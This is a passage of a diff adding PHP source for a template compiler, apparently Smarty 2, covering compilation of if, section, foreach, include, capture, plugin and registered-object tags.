+        if (preg_match('!^\/?' . $this->_reg_obj_regexp . '$!', $tag_command)) {
+            return $this->_compile_registered_object_tag($tag_command, $this->_parse_attrs($tag_args), $tag_modifier);
+        }
+
+        switch ($tag_command) {
+            case 'include':
+                return $this->_compile_include_tag($tag_args);
+
+            case 'include_php':
+                return $this->_compile_include_php_tag($tag_args);
+
+            case 'if':
+                $this->_push_tag('if');
+                return $this->_compile_if_tag($tag_args);
+
+            case 'else':
+                list($_open_tag) = end($this->_tag_stack);
+                if ($_open_tag != 'if' && $_open_tag != 'elseif')
+                    $this->_syntax_error('unxepected {else}', E_USER_ERROR, __FILE__, __LINE__);
+                else
+                    $this->_push_tag('else');
+                return '<?php else: ?>';
+
+            case 'elseif':
+                list($_open_tag) = end($this->_tag_stack);
+                if ($_open_tag != 'if' && $_open_tag != 'elseif')
+                    $this->_syntax_error('unxepected {elseif}', E_USER_ERROR, __FILE__, __LINE__);
+                if ($_open_tag == 'if')
+                    $this->_push_tag('elseif');
+                return $this->_compile_if_tag($tag_args, true);
+
+            case '/if':
+                $this->_pop_tag('if');
+                return '<?php endif; ?>';
+
+            case 'capture':
+                return $this->_compile_capture_tag(true, $tag_args);
+
+            case '/capture':
+                return $this->_compile_capture_tag(false);
+
+            case 'ldelim':
+                return $this->left_delimiter;
+
+            case 'rdelim':
+                return $this->right_delimiter;
+
+            case 'section':
+                $this->_push_tag('section');
+                return $this->_compile_section_start($tag_args);
+
+            case 'sectionelse':
+                $this->_push_tag('sectionelse');
+                return "<?php endfor; else: ?>";
+                break;
+
+            case '/section':
+                $_open_tag = $this->_pop_tag('section');
+                if ($_open_tag == 'sectionelse')
+                    return "<?php endif; ?>";
+                else
+                    return "<?php endfor; endif; ?>";
+
+            case 'foreach':
+                $this->_push_tag('foreach');
+                return $this->_compile_foreach_start($tag_args);
+                break;
+
+            case 'foreachelse':
+                $this->_push_tag('foreachelse');
+                return "<?php endforeach; unset(\$_from); else: ?>";
+
+            case '/foreach':
+                $_open_tag = $this->_pop_tag('foreach');
+                if ($_open_tag == 'foreachelse')
+                    return "<?php endif; ?>";
+                else
+                    return "<?php endforeach; unset(\$_from); endif; ?>";
+                break;
+
+            case 'strip':
+            case '/strip':
+                if ($tag_command{0}=='/') {
+                    $this->_pop_tag('strip');
+                    if (--$this->_strip_depth==0) { /* outermost closing {/strip} */
+                        $this->_additional_newline = "\n";
+                        return $this->left_delimiter.$tag_command.$this->right_delimiter;
+                    }
+                } else {
+                    $this->_push_tag('strip');
+                    if ($this->_strip_depth++==0) { /* outermost opening {strip} */
+                        $this->_additional_newline = "";
+                        return $this->left_delimiter.$tag_command.$this->right_delimiter;
+                    }
+                }
+                return '';
+
+            case 'php':
+                /* handle folded tags replaced by {php} */
+                list(, $block) = each($this->_folded_blocks);
+                $this->_current_line_no += substr_count($block[0], "\n");
+                /* the number of matched elements in the regexp in _compile_file()
+                   determins the type of folded tag that was found */
+                switch (count($block)) {
+                    case 2: /* comment */
+                        return '';
+
+                    case 3: /* literal */
+                        return "<?php echo '" . strtr($block[2], array("'"=>"\'", "\\"=>"\\\\")) . "'; ?>" . $this->_additional_newline;
+
+                    case 4: /* php */
+                        if ($this->security && !$this->security_settings['PHP_TAGS']) {
+                            $this->_syntax_error("(secure mode) php tags not permitted", E_USER_WARNING, __FILE__, __LINE__);
+                            return;
+                        }
+                        return '<?php ' . $block[3] .' ?>';
+                }
+                break;
+
+            case 'insert':
+                return $this->_compile_insert_tag($tag_args);
+
+            default:
+                if ($this->_compile_compiler_tag($tag_command, $tag_args, $output)) {
+                    return $output;
+                } else if ($this->_compile_block_tag($tag_command, $tag_args, $tag_modifier, $output)) {
+                    return $output;
+                } else if ($this->_compile_custom_tag($tag_command, $tag_args, $tag_modifier, $output)) {
+                    return $output;                    
+                } else {
+                    $this->_syntax_error("unrecognized tag '$tag_command'", E_USER_ERROR, __FILE__, __LINE__);
+                }
+
+        }
+    }
+
+
+    /**
+     * compile the custom compiler tag
+     *
+     * sets $output to the compiled custom compiler tag
+     * @param string $tag_command
+     * @param string $tag_args
+     * @param string $output
+     * @return boolean
+     */
+    function _compile_compiler_tag($tag_command, $tag_args, &$output)
+    {
+        $found = false;
+        $have_function = true;
+
+        /*
+         * First we check if the compiler function has already been registered
+         * or loaded from a plugin file.
+         */
+        if (isset($this->_plugins['compiler'][$tag_command])) {
+            $found = true;
+            $plugin_func = $this->_plugins['compiler'][$tag_command][0];
+            if (!is_callable($plugin_func)) {
+                $message = "compiler function '$tag_command' is not implemented";
+                $have_function = false;
+            }
+        }
+        /*
+         * Otherwise we need to load plugin file and look for the function
+         * inside it.
+         */
+        else if ($plugin_file = $this->_get_plugin_filepath('compiler', $tag_command)) {
+            $found = true;
+
+            include_once $plugin_file;
+
+            $plugin_func = 'smarty_compiler_' . $tag_command;
+            if (!is_callable($plugin_func)) {
+                $message = "plugin function $plugin_func() not found in $plugin_file\n";
+                $have_function = false;
+            } else {
+                $this->_plugins['compiler'][$tag_command] = array($plugin_func, null, null, null, true);
+            }
+        }
+
+        /*
+         * True return value means that we either found a plugin or a
+         * dynamically registered function. False means that we didn't and the
+         * compiler should now emit code to load custom function plugin for this
+         * tag.
+         */
+        if ($found) {
+            if ($have_function) {
+                $output = call_user_func_array($plugin_func, array($tag_args, &$this));
+                if($output != '') {
+                $output = '<?php ' . $this->_push_cacheable_state('compiler', $tag_command)
+                                   . $output
+                                   . $this->_pop_cacheable_state('compiler', $tag_command) . ' ?>';
+                }
+            } else {
+                $this->_syntax_error($message, E_USER_WARNING, __FILE__, __LINE__);
+            }
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+
+    /**
+     * compile block function tag
+     *
+     * sets $output to compiled block function tag
+     * @param string $tag_command
+     * @param string $tag_args
+     * @param string $tag_modifier
+     * @param string $output
+     * @return boolean
+     */
+    function _compile_block_tag($tag_command, $tag_args, $tag_modifier, &$output)
+    {
+        if ($tag_command{0} == '/') {
+            $start_tag = false;
+            $tag_command = substr($tag_command, 1);
+        } else
+            $start_tag = true;
+
+        $found = false;
+        $have_function = true;
+
+        /*
+         * First we check if the block function has already been registered
+         * or loaded from a plugin file.
+         */
+        if (isset($this->_plugins['block'][$tag_command])) {
+            $found = true;
+            $plugin_func = $this->_plugins['block'][$tag_command][0];
+            if (!is_callable($plugin_func)) {
+                $message = "block function '$tag_command' is not implemented";
+                $have_function = false;
+            }
+        }
+        /*
+         * Otherwise we need to load plugin file and look for the function
+         * inside it.
+         */
+        else if ($plugin_file = $this->_get_plugin_filepath('block', $tag_command)) {
+            $found = true;
+
+            include_once $plugin_file;
+
+            $plugin_func = 'smarty_block_' . $tag_command;
+            if (!function_exists($plugin_func)) {
+                $message = "plugin function $plugin_func() not found in $plugin_file\n";
+                $have_function = false;
+            } else {
+                $this->_plugins['block'][$tag_command] = array($plugin_func, null, null, null, true);
+
+            }
+        }
+
+        if (!$found) {
+            return false;
+        } else if (!$have_function) {
+            $this->_syntax_error($message, E_USER_WARNING, __FILE__, __LINE__);
+            return true;
+        }
+
+        /*
+         * Even though we've located the plugin function, compilation
+         * happens only once, so the plugin will still need to be loaded
+         * at runtime for future requests.
+         */
+        $this->_add_plugin('block', $tag_command);
+
+        if ($start_tag)
+            $this->_push_tag($tag_command);
+        else
+            $this->_pop_tag($tag_command);
+
+        if ($start_tag) {
+            $output = '<?php ' . $this->_push_cacheable_state('block', $tag_command);
+            $attrs = $this->_parse_attrs($tag_args);
+            $arg_list = $this->_compile_arg_list('block', $tag_command, $attrs, $_cache_attrs='');
+            $output .= "$_cache_attrs\$this->_tag_stack[] = array('$tag_command', array(".implode(',', $arg_list).')); ';
+            $output .= $this->_compile_plugin_call('block', $tag_command).'($this->_tag_stack[count($this->_tag_stack)-1][1], null, $this, $_block_repeat=true);';
+            $output .= 'while ($_block_repeat) { ob_start(); ?>';
+        } else {
+            $output = '<?php $this->_block_content = ob_get_contents(); ob_end_clean(); ';
+            $_out_tag_text = $this->_compile_plugin_call('block', $tag_command).'($this->_tag_stack[count($this->_tag_stack)-1][1], $this->_block_content, $this, $_block_repeat=false)';
+            if ($tag_modifier != '') {
+                $this->_parse_modifiers($_out_tag_text, $tag_modifier);
+            }
+            $output .= 'echo '.$_out_tag_text.'; } ';
+            $output .= " array_pop(\$this->_tag_stack); " . $this->_pop_cacheable_state('block', $tag_command) . '?>';
+        }
+
+        return true;
+    }
+
+
+    /**
+     * compile custom function tag
+     *
+     * @param string $tag_command
+     * @param string $tag_args
+     * @param string $tag_modifier
+     * @return string
+     */
+    function _compile_custom_tag($tag_command, $tag_args, $tag_modifier, &$output)
+    {
+        $found = false;
+        $have_function = true;
+
+        /*
+         * First we check if the custom function has already been registered
+         * or loaded from a plugin file.
+         */
+        if (isset($this->_plugins['function'][$tag_command])) {
+            $found = true;
+            $plugin_func = $this->_plugins['function'][$tag_command][0];
+            if (!is_callable($plugin_func)) {
+                $message = "custom function '$tag_command' is not implemented";
+                $have_function = false;
+            }
+        }
+        /*
+         * Otherwise we need to load plugin file and look for the function
+         * inside it.
+         */
+        else if ($plugin_file = $this->_get_plugin_filepath('function', $tag_command)) {
+            $found = true;
+
+            include_once $plugin_file;
+
+            $plugin_func = 'smarty_function_' . $tag_command;
+            if (!function_exists($plugin_func)) {
+                $message = "plugin function $plugin_func() not found in $plugin_file\n";
+                $have_function = false;
+            } else {
+                $this->_plugins['function'][$tag_command] = array($plugin_func, null, null, null, true);
+
+            }
+        }
+
+        if (!$found) {
+            return false;
+        } else if (!$have_function) {
+            $this->_syntax_error($message, E_USER_WARNING, __FILE__, __LINE__);
+            return true;
+        }
+
+        /* declare plugin to be loaded on display of the template that
+           we compile right now */
+        $this->_add_plugin('function', $tag_command);
+
+        $_cacheable_state = $this->_push_cacheable_state('function', $tag_command);
+        $attrs = $this->_parse_attrs($tag_args);
+        $arg_list = $this->_compile_arg_list('function', $tag_command, $attrs, $_cache_attrs='');
+
+        $output = $this->_compile_plugin_call('function', $tag_command).'(array('.implode(',', $arg_list)."), \$this)";
+        if($tag_modifier != '') {
+            $this->_parse_modifiers($output, $tag_modifier);
+        }
+
+        if($output != '') {
+            $output =  '<?php ' . $_cacheable_state . $_cache_attrs . 'echo ' . $output . ';'
+                . $this->_pop_cacheable_state('function', $tag_command) . "?>" . $this->_additional_newline;
+        }
+
+        return true;
+    }
+
+    /**
+     * compile a registered object tag
+     *
+     * @param string $tag_command
+     * @param array $attrs
+     * @param string $tag_modifier
+     * @return string
+     */
+    function _compile_registered_object_tag($tag_command, $attrs, $tag_modifier)
+    {
+        if ($tag_command{0} == '/') {
+            $start_tag = false;
+            $tag_command = substr($tag_command, 1);
+        } else {
+            $start_tag = true;
+        }
+
+        list($object, $obj_comp) = explode('->', $tag_command);
+
+        $arg_list = array();
+        if(count($attrs)) {
+            $_assign_var = false;
+            foreach ($attrs as $arg_name => $arg_value) {
+                if($arg_name == 'assign') {
+                    $_assign_var = $arg_value;
+                    unset($attrs['assign']);
+                    continue;
+                }
+                if (is_bool($arg_value))
+                    $arg_value = $arg_value ? 'true' : 'false';
+                $arg_list[] = "'$arg_name' => $arg_value";
+            }
+        }
+
+        if($this->_reg_objects[$object][2]) {
+            // smarty object argument format
+            $args = "array(".implode(',', (array)$arg_list)."), \$this";
+        } else {
+            // traditional argument format
+            $args = implode(',', array_values($attrs));
+            if (empty($args)) {
+                $args = 'null';
+            }
+        }
+
+        $prefix = '';
+        $postfix = '';
+        $newline = '';
+        if(!is_object($this->_reg_objects[$object][0])) {
+            $this->_trigger_fatal_error("registered '$object' is not an object" , $this->_current_file, $this->_current_line_no, __FILE__, __LINE__);
+        } elseif(!empty($this->_reg_objects[$object][1]) && !in_array($obj_comp, $this->_reg_objects[$object][1])) {
+            $this->_trigger_fatal_error("'$obj_comp' is not a registered component of object '$object'", $this->_current_file, $this->_current_line_no, __FILE__, __LINE__);
+        } elseif(method_exists($this->_reg_objects[$object][0], $obj_comp)) {
+            // method
+            if(in_array($obj_comp, $this->_reg_objects[$object][3])) {
+                // block method
+                if ($start_tag) {
+                    $prefix = "\$this->_tag_stack[] = array('$obj_comp', $args); ";
+                    $prefix .= "\$this->_reg_objects['$object'][0]->$obj_comp(\$this->_tag_stack[count(\$this->_tag_stack)-1][1], null, \$this, \$_block_repeat=true); ";
+                    $prefix .= "while (\$_block_repeat) { ob_start();";
+                    $return = null;
+                    $postfix = '';
+            } else {
+                    $prefix = "\$this->_obj_block_content = ob_get_contents(); ob_end_clean(); ";
+                    $return = "\$this->_reg_objects['$object'][0]->$obj_comp(\$this->_tag_stack[count(\$this->_tag_stack)-1][1], \$this->_obj_block_content, \$this, \$_block_repeat=false)";
+                    $postfix = "} array_pop(\$this->_tag_stack);";
+                }
+            } else {
+                // non-block method
+                $return = "\$this->_reg_objects['$object'][0]->$obj_comp($args)";
+            }
+        } else {
+            // property
+            $return = "\$this->_reg_objects['$object'][0]->$obj_comp";
+        }
+
+        if($return != null) {
+            if($tag_modifier != '') {
+                $this->_parse_modifiers($return, $tag_modifier);
+            }
+
+            if(!empty($_assign_var)) {
+                $output = "\$this->assign('" . $this->_dequote($_assign_var) ."',  $return);";
+            } else {
+                $output = 'echo ' . $return . ';';
+                $newline = $this->_additional_newline;
+            }
+        } else {
+            $output = '';
+        }
+
+        return '<?php ' . $prefix . $output . $postfix . "?>" . $newline;
+    }
+
+    /**
+     * Compile {insert ...} tag
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_insert_tag($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+        $name = $this->_dequote($attrs['name']);
+
+        if (empty($name)) {
+            $this->_syntax_error("missing insert name", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        if (!empty($attrs['script'])) {
+            $delayed_loading = true;
+        } else {
+            $delayed_loading = false;
+        }
+
+        foreach ($attrs as $arg_name => $arg_value) {
+            if (is_bool($arg_value))
+                $arg_value = $arg_value ? 'true' : 'false';
+            $arg_list[] = "'$arg_name' => $arg_value";
+        }
+
+        $this->_add_plugin('insert', $name, $delayed_loading);
+
+        $_params = "array('args' => array(".implode(', ', (array)$arg_list)."))";
+
+        return "<?php require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.run_insert_handler.php');\necho smarty_core_run_insert_handler($_params, \$this); ?>" . $this->_additional_newline;
+    }
+
+    /**
+     * Compile {include ...} tag
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_include_tag($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+        $arg_list = array();
+
+        if (empty($attrs['file'])) {
+            $this->_syntax_error("missing 'file' attribute in include tag", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        foreach ($attrs as $arg_name => $arg_value) {
+            if ($arg_name == 'file') {
+                $include_file = $arg_value;
+                continue;
+            } else if ($arg_name == 'assign') {
+                $assign_var = $arg_value;
+                continue;
+            }
+            if (is_bool($arg_value))
+                $arg_value = $arg_value ? 'true' : 'false';
+            $arg_list[] = "'$arg_name' => $arg_value";
+        }
+
+        $output = '<?php ';
+
+        if (isset($assign_var)) {
+            $output .= "ob_start();\n";
+        }
+
+        $output .=
+            "\$_smarty_tpl_vars = \$this->_tpl_vars;\n";
+
+
+        $_params = "array('smarty_include_tpl_file' => " . $include_file . ", 'smarty_include_vars' => array(".implode(',', (array)$arg_list)."))";
+        $output .= "\$this->_smarty_include($_params);\n" .
+        "\$this->_tpl_vars = \$_smarty_tpl_vars;\n" .
+        "unset(\$_smarty_tpl_vars);\n";
+
+        if (isset($assign_var)) {
+            $output .= "\$this->assign(" . $assign_var . ", ob_get_contents()); ob_end_clean();\n";
+        }
+
+        $output .= ' ?>';
+
+        return $output;
+
+    }
+
+    /**
+     * Compile {include ...} tag
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_include_php_tag($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+
+        if (empty($attrs['file'])) {
+            $this->_syntax_error("missing 'file' attribute in include_php tag", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        $assign_var = (empty($attrs['assign'])) ? '' : $this->_dequote($attrs['assign']);
+        $once_var = (empty($attrs['once']) || $attrs['once']=='false') ? 'false' : 'true';
+
+        $arg_list = array();
+        foreach($attrs as $arg_name => $arg_value) {
+            if($arg_name != 'file' AND $arg_name != 'once' AND $arg_name != 'assign') {
+                if(is_bool($arg_value))
+                    $arg_value = $arg_value ? 'true' : 'false';
+                $arg_list[] = "'$arg_name' => $arg_value";
+            }
+        }
+
+        $_params = "array('smarty_file' => " . $attrs['file'] . ", 'smarty_assign' => '$assign_var', 'smarty_once' => $once_var, 'smarty_include_vars' => array(".implode(',', $arg_list)."))";
+
+        return "<?php require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.smarty_include_php.php');\nsmarty_core_smarty_include_php($_params, \$this); ?>" . $this->_additional_newline;
+    }
+
+
+    /**
+     * Compile {section ...} tag
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_section_start($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+        $arg_list = array();
+
+        $output = '<?php ';
+        $section_name = $attrs['name'];
+        if (empty($section_name)) {
+            $this->_syntax_error("missing section name", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        $output .= "if (isset(\$this->_sections[$section_name])) unset(\$this->_sections[$section_name]);\n";
+        $section_props = "\$this->_sections[$section_name]";
+
+        foreach ($attrs as $attr_name => $attr_value) {
+            switch ($attr_name) {
+                case 'loop':
+                    $output .= "{$section_props}['loop'] = is_array(\$_loop=$attr_value) ? count(\$_loop) : max(0, (int)\$_loop); unset(\$_loop);\n";
+                    break;
+
+                case 'show':
+                    if (is_bool($attr_value))
+                        $show_attr_value = $attr_value ? 'true' : 'false';
+                    else
+                        $show_attr_value = "(bool)$attr_value";
+                    $output .= "{$section_props}['show'] = $show_attr_value;\n";
+                    break;
+
+                case 'name':
+                    $output .= "{$section_props}['$attr_name'] = $attr_value;\n";
+                    break;
+
+                case 'max':
+                case 'start':
+                    $output .= "{$section_props}['$attr_name'] = (int)$attr_value;\n";
+                    break;
+
+                case 'step':
+                    $output .= "{$section_props}['$attr_name'] = ((int)$attr_value) == 0 ? 1 : (int)$attr_value;\n";
+                    break;
+
+                default:
+                    $this->_syntax_error("unknown section attribute - '$attr_name'", E_USER_ERROR, __FILE__, __LINE__);
+                    break;
+            }
+        }
+
+        if (!isset($attrs['show']))
+            $output .= "{$section_props}['show'] = true;\n";
+
+        if (!isset($attrs['loop']))
+            $output .= "{$section_props}['loop'] = 1;\n";
+
+        if (!isset($attrs['max']))
+            $output .= "{$section_props}['max'] = {$section_props}['loop'];\n";
+        else
+            $output .= "if ({$section_props}['max'] < 0)\n" .
+                       "    {$section_props}['max'] = {$section_props}['loop'];\n";
+
+        if (!isset($attrs['step']))
+            $output .= "{$section_props}['step'] = 1;\n";
+
+        if (!isset($attrs['start']))
+            $output .= "{$section_props}['start'] = {$section_props}['step'] > 0 ? 0 : {$section_props}['loop']-1;\n";
+        else {
+            $output .= "if ({$section_props}['start'] < 0)\n" .
+                       "    {$section_props}['start'] = max({$section_props}['step'] > 0 ? 0 : -1, {$section_props}['loop'] + {$section_props}['start']);\n" .
+                       "else\n" .
+                       "    {$section_props}['start'] = min({$section_props}['start'], {$section_props}['step'] > 0 ? {$section_props}['loop'] : {$section_props}['loop']-1);\n";
+        }
+
+        $output .= "if ({$section_props}['show']) {\n";
+        if (!isset($attrs['start']) && !isset($attrs['step']) && !isset($attrs['max'])) {
+            $output .= "    {$section_props}['total'] = {$section_props}['loop'];\n";
+        } else {
+            $output .= "    {$section_props}['total'] = min(ceil(({$section_props}['step'] > 0 ? {$section_props}['loop'] - {$section_props}['start'] : {$section_props}['start']+1)/abs({$section_props}['step'])), {$section_props}['max']);\n";
+        }
+        $output .= "    if ({$section_props}['total'] == 0)\n" .
+                   "        {$section_props}['show'] = false;\n" .
+                   "} else\n" .
+                   "    {$section_props}['total'] = 0;\n";
+
+        $output .= "if ({$section_props}['show']):\n";
+        $output .= "
+            for ({$section_props}['index'] = {$section_props}['start'], {$section_props}['iteration'] = 1;
+                 {$section_props}['iteration'] <= {$section_props}['total'];
+                 {$section_props}['index'] += {$section_props}['step'], {$section_props}['iteration']++):\n";
+        $output .= "{$section_props}['rownum'] = {$section_props}['iteration'];\n";
+        $output .= "{$section_props}['index_prev'] = {$section_props}['index'] - {$section_props}['step'];\n";
+        $output .= "{$section_props}['index_next'] = {$section_props}['index'] + {$section_props}['step'];\n";
+        $output .= "{$section_props}['first']      = ({$section_props}['iteration'] == 1);\n";
+        $output .= "{$section_props}['last']       = ({$section_props}['iteration'] == {$section_props}['total']);\n";
+
+        $output .= "?>";
+
+        return $output;
+    }
+
+
+    /**
+     * Compile {foreach ...} tag.
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_foreach_start($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+        $arg_list = array();
+
+        if (empty($attrs['from'])) {
+            $this->_syntax_error("missing 'from' attribute", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        if (empty($attrs['item'])) {
+            $this->_syntax_error("missing 'item' attribute", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        $from = $attrs['from'];
+        $item = $this->_dequote($attrs['item']);
+        if (isset($attrs['name']))
+            $name = $attrs['name'];
+
+        $output = '<?php ';
+        if (isset($name)) {
+            $output .= "if (isset(\$this->_foreach[$name])) unset(\$this->_foreach[$name]);\n";
+            $foreach_props = "\$this->_foreach[$name]";
+        }
+
+        $key_part = '';
+
+        foreach ($attrs as $attr_name => $attr_value) {
+            switch ($attr_name) {
+                case 'key':
+                    $key  = $this->_dequote($attrs['key']);
+                    $key_part = "\$this->_tpl_vars['$key'] => ";
+                    break;
+
+                case 'name':
+                    $output .= "{$foreach_props}['$attr_name'] = $attr_value;\n";
+                    break;
+            }
+        }
+
+        if (isset($name)) {
+            $output .= "{$foreach_props}['total'] = count(\$_from = (array)$from);\n";
+            $output .= "{$foreach_props}['show'] = {$foreach_props}['total'] > 0;\n";
+            $output .= "if ({$foreach_props}['show']):\n";
+            $output .= "{$foreach_props}['iteration'] = 0;\n";
+            $output .= "    foreach (\$_from as $key_part\$this->_tpl_vars['$item']):\n";
+            $output .= "        {$foreach_props}['iteration']++;\n";
+            $output .= "        {$foreach_props}['first'] = ({$foreach_props}['iteration'] == 1);\n";
+            $output .= "        {$foreach_props}['last']  = ({$foreach_props}['iteration'] == {$foreach_props}['total']);\n";
+        } else {
+            $output .= "if (count(\$_from = (array)$from)):\n";
+            $output .= "    foreach (\$_from as $key_part\$this->_tpl_vars['$item']):\n";
+        }
+        $output .= '?>';
+
+        return $output;
+    }
+
+
+    /**
+     * Compile {capture} .. {/capture} tags
+     *
+     * @param boolean $start true if this is the {capture} tag
+     * @param string $tag_args
+     * @return string
+     */
+
+    function _compile_capture_tag($start, $tag_args = '')
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+
+        if ($start) {
+            if (isset($attrs['name']))
+                $buffer = $attrs['name'];
+            else
+                $buffer = "'default'";
+
+            if (isset($attrs['assign']))
+                $assign = $attrs['assign'];
+            else
+                $assign = null;
+            $output = "<?php ob_start(); ?>";
+            $this->_capture_stack[] = array($buffer, $assign);
+        } else {
+            list($buffer, $assign) = array_pop($this->_capture_stack);
+            $output = "<?php \$this->_smarty_vars['capture'][$buffer] = ob_get_contents(); ";
+            if (isset($assign)) {
+                $output .= " \$this->assign($assign, ob_get_contents());";
+            }
+            $output .= "ob_end_clean(); ?>";
+        }
+
+        return $output;
+    }
+
+    /**
+     * Compile {if ...} tag
+     *
+     * @param string $tag_args
+     * @param boolean $elseif if true, uses elseif instead of if
+     * @return string
+     */
+    function _compile_if_tag($tag_args, $elseif = false)
+    {
+
+        /* Tokenize args for 'if' tag. */
+        preg_match_all('/(?>
+                ' . $this->_obj_call_regexp . '(?:' . $this->_mod_regexp . '*)? | # valid object call
+                ' . $this->_var_regexp . '(?:' . $this->_mod_regexp . '*)?    | # var or quoted string
+                \-?0[xX][0-9a-fA-F]+|\-?\d+(?:\.\d+)?|\.\d+|!==|===|==|!=|<>|<<|>>|<=|>=|\&\&|\|\||\(|\)|,|\!|\^|=|\&|\~|<|>|\||\%|\+|\-|\/|\*|\@    | # valid non-word token
+                \b\w+\b                                                        | # valid word token
+                \S+                                                           # anything else
+                )/x', $tag_args, $match);
+
+        $tokens = $match[0];
+
+        // make sure we have balanced parenthesis
+        $token_count = array_count_values($tokens);
+        if(isset($token_count['(']) && $token_count['('] != $token_count[')']) {
+            $this->_syntax_error("unbalanced parenthesis in if statement", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        $is_arg_stack = array();
+
+        for ($i = 0; $i < count($tokens); $i++) {
+
+            $token = &$tokens[$i];
+
+            switch (strtolower($token)) {
+                case '!':
+                case '%':
+                case '!==':
+                case '==':
+                case '===':
+                case '>':
+                case '<':
+                case '!=':
+                case '<>':
+                case '<<':
+                case '>>':
+                case '<=':
+                case '>=':
+                case '&&':
+                case '||':
+                case '|':
+                case '^':
+                case '&':
+                case '~':
+                case ')':
+                case ',':
+                case '+':
+                case '-':
+                case '*':
+                case '/':
+                case '@':
+                    break;
+
+                case 'eq':
+                    $token = '==';
+                    break;
+
+                case 'ne':
+                case 'neq':
+                    $token = '!=';
+                    break;
+
+                case 'lt':
+                    $token = '<';
+                    break;
+
+                case 'le':
+                case 'lte':
+                    $token = '<=';
+                    break;
+
+                case 'gt':
+                    $token = '>';
+                    break;
+
+                case 'ge':
+                case 'gte':
+                    $token = '>=';
+                    break;
+
+                case 'and':
+                    $token = '&&';
+                    break;
+
+                case 'or':
+                    $token = '||';
+                    break;
+
+                case 'not':
+                    $token = '!';
+                    break;
+
+                case 'mod':
+                    $token = '%';
+                    break;
+
+                case '(':
+                    array_push($is_arg_stack, $i);
+                    break;
+
+                case 'is':
+                    /* If last token was a ')', we operate on the parenthesized
+                       expression. The start of the expression is on the stack.
+                       Otherwise, we operate on the last encountered token. */
+                    if ($tokens[$i-1] == ')')
+                        $is_arg_start = array_pop($is_arg_stack);
+                    else
+                        $is_arg_start = $i-1;
+                    /* Construct the argument for 'is' expression, so it knows
+                       what to operate on. */
+                    $is_arg = implode(' ', array_slice($tokens, $is_arg_start, $i - $is_arg_start));
+
+                    /* Pass all tokens from next one until the end to the
+                       'is' expression parsing function. The function will
+                       return modified tokens, where the first one is the result
+                       of the 'is' expression and the rest are the tokens it
+                       didn't touch. */
+                    $new_tokens = $this->_parse_is_expr($is_arg, array_slice($tokens, $i+1));
+
+                    /* Replace the old tokens with the new ones. */
+                    array_splice($tokens, $is_arg_start, count($tokens), $new_tokens);
+
+                    /* Adjust argument start so that it won't change from the
+                       current position for the next iteration. */
+                    $i = $is_arg_start;
+                    break;
+
+                default:
+                    if(preg_match('!^' . $this->_func_regexp . '$!', $token) ) {
+                            // function call
+                            if($this->security &&
+                               !in_array($token, $this->security_settings['IF_FUNCS'])) {
+                                $this->_syntax_error("(secure mode) '$token' not allowed in if statement", E_USER_ERROR, __FILE__, __LINE__);
+                            }
+                    } elseif(preg_match('!^' . $this->_obj_call_regexp . '|' . $this->_var_regexp . '(?:' . $this->_mod_regexp . '*)$!', $token)) {
+                        // object or variable
+                        $token = $this->_parse_var_props($token);
+                    } elseif(is_numeric($token)) {
+                        // number, skip it
+                    } else {
+                        $this->_syntax_error("unidentified token '$token'", E_USER_ERROR, __FILE__, __LINE__);
+                    }
+                    break;
+            }
+        }
+
+        if ($elseif)
+            return '<?php elseif ('.implode(' ', $tokens).'): ?>';
+        else
+            return '<?php if ('.implode(' ', $tokens).'): ?>';
+    }
+
+
+    function _compile_arg_list($type, $name, $attrs, &$cache_code) {
+        $arg_list = array();
+
+        if (isset($type) && isset($name)
+            && isset($this->_plugins[$type])
+            && isset($this->_plugins[$type][$name])
+            && empty($this->_plugins[$type][$name][4])
+            && is_array($this->_plugins[$type][$name][5])
+            ) {
+            /* we have a list of parameters that should be cached */
+            $_cache_attrs = $this->_plugins[$type][$name][5];
+            $_count = $this->_cache_attrs_count++;
+            $cache_code = "\$_cache_attrs =& \$this->_smarty_cache_attrs('$this->_cache_serial','$_count');";
+
+        } else {
+            /* no parameters are cached */
+            $_cache_attrs = null;
+        }
+
+        foreach ($attrs as $arg_name => $arg_value) {
+            if (is_bool($arg_value))
+                $arg_value = $arg_value ? 'true' : 'false';
+            if (is_null($arg_value))
+                $arg_value = 'null';
+            if ($_cache_attrs && in_array($arg_name, $_cache_attrs)) {
+                $arg_list[] = "'$arg_name' => (\$this->_cache_including) ? \$_cache_attrs['$arg_name'] : (\$_cache_attrs['$arg_name']=$arg_value)";
+            } else {
+                $arg_list[] = "'$arg_name' => $arg_value";
+            }
+        }
+        return $arg_list;
+    }
+
+    /**
+     * Parse is expression
+     *
+     * @param string $is_arg
+     * @param array $tokens
+     * @return array
+     */
+    function _parse_is_expr($is_arg, $tokens)
+    {
+        $expr_end = 0;
+        $negate_expr = false;
+
+        if (($first_token = array_shift($tokens)) == 'not') {
+            $negate_expr = true;
+            $expr_type = array_shift($tokens);
+        } else
+            $expr_type = $first_token;
+
+        switch ($expr_type) {
+            case 'even':
+                if (isset($tokens[$expr_end]) && $tokens[$expr_end] == 'by') {
+                    $expr_end++;
+                    $expr_arg = $tokens[$expr_end++];
+                    $expr = "!(1 & ($is_arg / " . $this->_parse_var_props($expr_arg) . "))";
+                } else
+                    $expr = "!(1 & $is_arg)";
+                break;
+
+            case 'odd':
+                if (isset($tokens[$expr_end]) && $tokens[$expr_end] == 'by') {
+                    $expr_end++;
+                    $expr_arg = $tokens[$expr_end++];
